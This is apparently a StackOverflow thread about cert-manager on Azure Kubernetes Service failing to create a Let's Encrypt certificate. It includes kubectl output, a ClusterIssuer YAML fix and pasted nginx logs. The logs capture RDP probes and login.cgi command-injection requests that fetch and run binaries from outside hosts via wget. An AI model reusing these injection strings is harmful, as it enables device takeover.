K
Q

aks cert-manager does not create a cert with lets-encrypt

12/10/2018

I am using AKS to create a SSL cert with lets encrypt. I installed cert-manager using helm.

I created a CA cluster issuer:

Shawns-Personal-MacBook-Pro:~ shawnvarughese$ kubectl describe ClusterIssuer
Name:         letsencrypt-prod
Namespace:    
Labels:       <none>
Annotations:  kubectl.kubernetes.io/last-applied-configuration={"apiVersion":"certmanager.k8s.io/v1alpha1","kind":"ClusterIssuer","metadata":{"annotations":{},"name":"letsencrypt-prod","namespace":""},"spec":{"acme...
API Version:  certmanager.k8s.io/v1alpha1
Kind:         ClusterIssuer
Metadata:
  Creation Timestamp:  2018-12-09T19:35:56Z
  Generation:          1
  Resource Version:    890789
  Self Link:           /apis/certmanager.k8s.io/v1alpha1/clusterissuers/letsencrypt-prod
  UID:                 a5bba453-fbe9-11e8-9108-0ea4bd565112
Spec:
  Acme:
    Email:  myemail@myemail.com
    Http 01:
    Private Key Secret Ref:
      Name:  letsencrypt-prod
    Server:  https://acme-v02.api.letsencrypt.org/directory
Events:      <none>

Created a certificate object:

    Shawns-Personal-MacBook-Pro:~ shawnvarughese$ kubectl describe certificates
Name:         tls-secret
Namespace:    default
Labels:       <none>
Annotations:  kubectl.kubernetes.io/last-applied-configuration={"apiVersion":"certmanager.k8s.io/v1alpha1","kind":"Certificate","metadata":{"annotations":{},"name":"tls-secret","namespace":"default"},"spec":{"acme"...
API Version:  certmanager.k8s.io/v1alpha1
Kind:         Certificate
Metadata:
  Creation Timestamp:  2018-12-10T17:09:05Z
  Generation:          1
  Resource Version:    890853
  Self Link:           /apis/certmanager.k8s.io/v1alpha1/namespaces/default/certificates/tls-secret
  UID:                 4ccd87c3-fc9e-11e8-9108-0ea4bd565112
Spec:
  Acme:
    Config:
      Domains:
        mydomain.com
      Http 01:
        Ingress Class:  nginx
  Dns Names:
    mydomain.com
  Issuer Ref:
    Kind:       ClusterIssuer
    Name:       letsencrypt-prod
  Secret Name:  tls-secret
Events:         <none>

Created Ingress:

Shawns-Personal-MacBook-Pro:~ shawnvarughese$ kubectl describe Ingress
Name:             my-ingress
Namespace:        default
Address:          
Default backend:  default-http-backend:80 (<none>)
TLS:
  tls-secret terminates mydomain.com
Rules:
  Host             Path  Backends
  ----             ----  --------
  mydomain.com  
                   /   web:8080 (<none>)
Annotations:
  kubernetes.io/ingress.class:                       nginx
  kubernetes.io/tls-acme:                            true
  nginx.ingress.kubernetes.io/rewrite-target:        /
  certmanager.k8s.io/cluster-issuer:                 letsencrypt-prod
  kubectl.kubernetes.io/last-applied-configuration:  {"apiVersion":"extensions/v1beta1","kind":"Ingress","metadata":{"annotations":{"certmanager.k8s.io/cluster-issuer":"letsencrypt-prod","kubernetes.io/ingress.class":"nginx","kubernetes.io/tls-acme":"true","nginx.ingress.kubernetes.io/rewrite-target":"/"},"name":"my-ingress","namespace":"default"},"spec":{"rules":[{"host":"mydomain.com","http":{"paths":[{"backend":{"serviceName":"web","servicePort":8080},"path":"/"}]}}],"tls":[{"hosts":["mydomain.com"],"secretName":"tls-secret"}]}}

Events:  <none>

As you can see the events for the Certificate is none so its not even creating the order. Not sure why it would not even create the order or even throw a error.

Also just noticed this in the logs:

0383146a91108
202.188.22.129 - [202.188.22.129] - - [07/Dec/2018:18:44:59 +0000] "GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1" 400 173 "-" "-" 46 0.000 [] - - - - ea94a2fbba4c1c9ad145b15d0a52c52f
80.82.77.139 - [80.82.77.139] - - [08/Dec/2018:02:22:54 +0000] "" 400 0 "-" "-" 0 0.000 [] - - - - a95a0b46bf827182675e0fc1422690df
80.82.77.139 - [80.82.77.139] - - [08/Dec/2018:02:22:56 +0000] "" 400 0 "-" "-" 0 0.000 [] - - - - de92f7a3a62aa416b4e83b43b4bbce8b
61.219.11.151 - [61.219.11.151] - - [08/Dec/2018:07:37:37 +0000] "0\x00\x00\xA2C\x8D\x08&\xB1\xD2\xB2\x1D0\x95\x1A\xCF\xC6\x9F\xAE\xF9E\x84\xA1\x87N\x93Q\x1E\x96\x1B\xCD\xB7m\x8A\x97\x7F\xD4\x1B\xB9\xEC\xAD\xFC[q\xCDI\x1D\xB6\x5C\xC9\x17" 400 173 "-" "-" 0 0.254 [] - - - - 32e9877f816385ea17fc81d66e0c0bff
77.72.83.87 - [77.72.83.87] - - [08/Dec/2018:08:32:38 +0000] "\x03\x00\x00/*\xE0\x00\x00\x00\x00\x00Cookie: mstshash=Administr" 400 173 "-" "-" 0 0.082 [] - - - - 34223653367733d5d5c8465c910520cc
194.147.32.50 - [194.147.32.50] - - [08/Dec/2018:12:13:59 +0000] "\x16\x03\x01\x00\xDE\x01\x00\x00\xDA\x03\x03\xDAR\xA1\x0C\xC2" 400 173 "-" "-" 0 0.276 [] - - - - 76ef49ba809cfafa0b271587a91975f5
77.72.83.87 - [77.72.83.87] - - [09/Dec/2018:13:34:23 +0000] "\x03\x00\x00/*\xE0\x00\x00\x00\x00\x00Cookie: mstshash=Administr" 400 173 "-" "-" 0 0.082 [] - - - - 9f19f060dad13ea83b219786f57de1b8
I1209 18:51:07.029058       6 store.go:279] ignoring add for ingress tekdashplatform-ingress based on annotation kubernetes.io/ingress.class with value 
W1209 18:51:22.672206       6 backend_ssl.go:48] Error obtaining X.509 certificate: no object matching key "default/tls-secret" in local store
194.147.32.50 - [194.147.32.50] - - [09/Dec/2018:19:01:21 +0000] "GET / HTTP/1.1" 400 271 "-" "python-requests/2.20.1" 149 0.000 [] - - - - 9a7d23cc704a397c50aac83da9628a5e
W1209 19:28:31.697030       6 backend_ssl.go:48] Error obtaining X.509 certificate: no object matching key "default/tls-secret" in local store
W1209 19:30:39.221141       6 backend_ssl.go:48] Error obtaining X.509 certificate: no object matching key "default/tls-secret" in local store
W1209 20:24:05.231839       6 backend_ssl.go:48] Error obtaining X.509 certificate: no object matching key "default/tls-secret" in local store
61.219.11.151 - [61.219.11.151] - - [09/Dec/2018:21:21:29 +0000] "GET / HTTP/1.1" 400 173 "-" "-" 18 0.000 [] - - - - 387208826b079e7c5f681cbffbfad783
185.197.74.218 - [185.197.74.218] - - [09/Dec/2018:23:46:58 +0000] "\x03\x00\x00*%\xE0\x00\x00\x00\x00\x00Cookie: mstshash=Test" 400 173 "-" "-" 0 0.090 [] - - - - 807bcf345b02efbb1d12de430f4aed29
185.197.74.218 - [185.197.74.218] - - [09/Dec/2018:23:46:59 +0000] "\x03\x00\x00*%\xE0\x00\x00\x00\x00\x00Cookie: mstshash=Test" 400 173 "-" "-" 0 0.081 [] - - - - b3867afca100531461c9a2ca1e307230
164.52.24.162 - [164.52.24.162] - - [10/Dec/2018:00:49:09 +0000] "GET / HTTP/1.1" 400 271 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 304 0.000 [] - - - - c3e2b27647745ebcff376892d3a0153a
61.219.11.151 - [61.219.11.151] - - [10/Dec/2018:03:45:34 +0000] "GET / HTTP/1.1" 400 173 "-" "-" 18 0.000 [] - - - - bea0e89c148a432f3e709f809461c891
77.72.83.87 - [77.72.83.87] - - [10/Dec/2018:08:57:40 +0000] "\x03\x00\x00/*\xE0\x00\x00\x00\x00\x00Cookie: mstshash=Administr" 400 173 "-" "-" 0 0.082 [] - - - - ede5cc867dc5e412aa0aec96bd1d3a74
185.244.25.163 - [185.244.25.163] - - [10/Dec/2018:14:44:52 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.244.25.150/x%20-O%20-%3E%20/tmp/x;sh%20/tmp/x%27$ HTTP/1.1" 400 173 "-" "Kowai/1.0" 202 0.000 [] - - - - 7f30adc5eccf31c000d4f2afb4164510
91.203.11.189 - [91.203.11.189] - - [10/Dec/2018:18:05:55 +0000] "\x03\x00\x00*%\xE0\x00\x00\x00\x00\x00Cookie: mstshash=Test" 400 173 "-" "-" 0 4.998 [] - - - - a63c9264f0aca0bf70c9c06f388eda3a
E1210 18:14:19.966614       6 streamwatcher.go:109] Unable to decode an event from the watch stream: read tcp 10.244.0.9:37014->23.96.124.118:443: read: connection timed out
E1210 18:14:19.968364       6 leaderelection.go:234] error retrieving resource lock kube-system/ingress-controller-leader-addon-http-application-routing: Get https://tekdash-prod-8206c842.hcp.eastus.azmk8s.io:443/api/v1/namespaces/kube-system/configmaps/ingress-controller-leader-addon-http-application-routing: read tcp 10.244.0.9:37014->23.96.124.118:443: read: connection timed out
E1210 18:14:19.968638       6 streamwatcher.go:109] Unable to decode an event from the watch stream: read tcp 10.244.0.9:37014->23.96.124.118:443: read: connection timed out
E1210 18:14:19.968656       6 streamwatcher.go:109] Unable to decode an event from the watch stream: read tcp 10.244.0.9:37014->23.96.124.118:443: read: connection timed out
E1210 18:14:19.968802       6 streamwatcher.go:109] Unable to decode an event from the watch stream: read tcp 10.244.0.9:37014->23.96.124.118:443: read: connection timed out
W1210 18:14:19.968826       6 queue.go:130] requeuing &ObjectMeta{Name:sync status,GenerateName:,Namespace:,SelfLink:,UID:,ResourceVersion:,Generation:0,CreationTimestamp:0001-01-01 00:00:00 +0000 UTC,DeletionTimestamp:<nil>,DeletionGracePeriodSeconds:nil,Labels:map[string]string{},Annotations:map[string]string{},OwnerReferences:[],Finalizers:[],ClusterName:,Initializers:nil,}, err Get https://tekdash-prod-8206c842.hcp.eastus.azmk8s.io:443/api/v1/namespaces/kube-system/services/addon-http-application-routing-nginx-ingress: read tcp 10.244.0.9:37014->23.96.124.118:443: read: connection timed out
E1210 18:14:19.969084       6 streamwatcher.go:109] Unable to decode an event from the watch stream: read tcp 10.244.0.9:37014->23.96.124.118:443: read: connection timed out
193.238.46.41 - [193.238.46.41] - - [10/Dec/2018:21:37:40 +0000] "\x03\x00\x00+&\xE0\x00\x00\x00\x00\x00Cookie: mstshash=hello" 400 173 "-" "-" 0 0.083 [] - - - - 7039cea3baaa8022798c25cd822165f4
185.10.68.26 - [185.10.68.26] - - [11/Dec/2018:02:26:46 +0000] "GET / HTTP/1.1" 400 173 "-" "-" 18 0.000 [] - - - - 508c65c2544bfc5b8d09cd259a609418
W1211 03:52:37.916346       6 backend_ssl.go:48] Error obtaining X.509 certificate: no object matching key "default/tls-secret" in local store
W1211 04:11:17.322745       6 backend_ssl.go:48] Error obtaining X.509 certificate: no object matching key "default/tls-secret" in local store
61.219.11.151 - [61.219.11.151] - - [11/Dec/2018:04:29:28 +0000] "\x01\x00\x00\x00" 400 173 "-" "-" 0 0.254 [] - - - - 1363273fff4bc9c1fb698b925a9a466d
61.219.11.151 - [61.219.11.151] - - [11/Dec/2018:04:38:29 +0000] "\x01\x00\x00\x00" 400 173 "-" "-" 0 0.254 [] - - - - b515cf47a022a35635d900e5f428d564
I1211 05:11:24.101841       6 store.go:309] ignoring delete for ingress tekdashplatform-ingress based on annotation kubernetes.io/ingress.class
I1211 05:12:39.201657       6 store.go:279] ignoring add for ingress tekdashplatform-ingress based on annotation kubernetes.io/ingress.class with value 
W1211 05:12:46.560229       6 backend_ssl.go:48] Error obtaining X.509 certificate: no object matching key "default/tls-secret" in local store
151.25.145.33 - [151.25.145.33] - - [11/Dec/2018:05:28:45 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://139.59.32.101/bins/sector.mips%20-O%20->%20/tmp/.sector;chmod%20777%20/tmp/.sector;/tmp/.sector%20dlink%27$ HTTP/1.1" 400 173 "-" "Sector/2.0" 257 0.000 [] - - - - 6f971b6e64166ceb732a58d6444463de

cluster role:

 Shawns-Personal-MacBook-Pro:Desktop shawnvarughese$ kubectl get clusterrole
    NAME                                                       AGE
    addon-http-application-routing-external-dns                8d
    addon-http-application-routing-nginx-ingress-clusterrole   8d
    omsagent-reader                                            8d
    system:metrics-server      

                            8d

role bindings:

Shawns-Personal-MacBook-Pro:Desktop shawnvarughese$ kubectl get RoleBinding
No resources found.
-- Shawn Varughese
azure-aks
kubernetes
lets-encrypt
ssl

Similar Questions

What's the process of storing config for 12 factor app?
deploying image in kubernetes cluster getting CrashLoopBackOff
Kubernetes CronJob Not Correctly Using Docker Secret
Spring Boot Application startup issues | Endpoints are not loaded
Will the logs collected by k8s sidecar be lost?
Kubernetes - ingress controller vs ingress

2 Answers

12/10/2018

pretty sure server (in your ClusterIssuer definition) should be acme api, not your server name:

apiVersion: certmanager.k8s.io/v1alpha1
kind: ClusterIssuer
metadata:
  name: letsencrypt-prod
spec:
  acme:
    # The ACME production server URL
    server: https://acme-v02.api.letsencrypt.org/directory
    # Email address used for ACME registration
    email: email@domain.com
    # Name of a secret used to store the ACME account private key
    privateKeySecretRef:
      name: letsencrypt-prod
    # Enable the HTTP-01 challenge provider
    http01: {}

for staging certificates (for tests) use this api uri: https://acme-staging-v02.api.letsencrypt.org/directory

-- 4c74356b41
Source: StackOverflow
12/27/2018

@Shawn Varughese: I am encountering identical problem. I see the same error in nginx controller pod! Have not figured how to extract the crt and private key from the cert. That way, I could create the secret manually. Please share if you come across the workaround or solution.

-- Prodip
Source: StackOverflow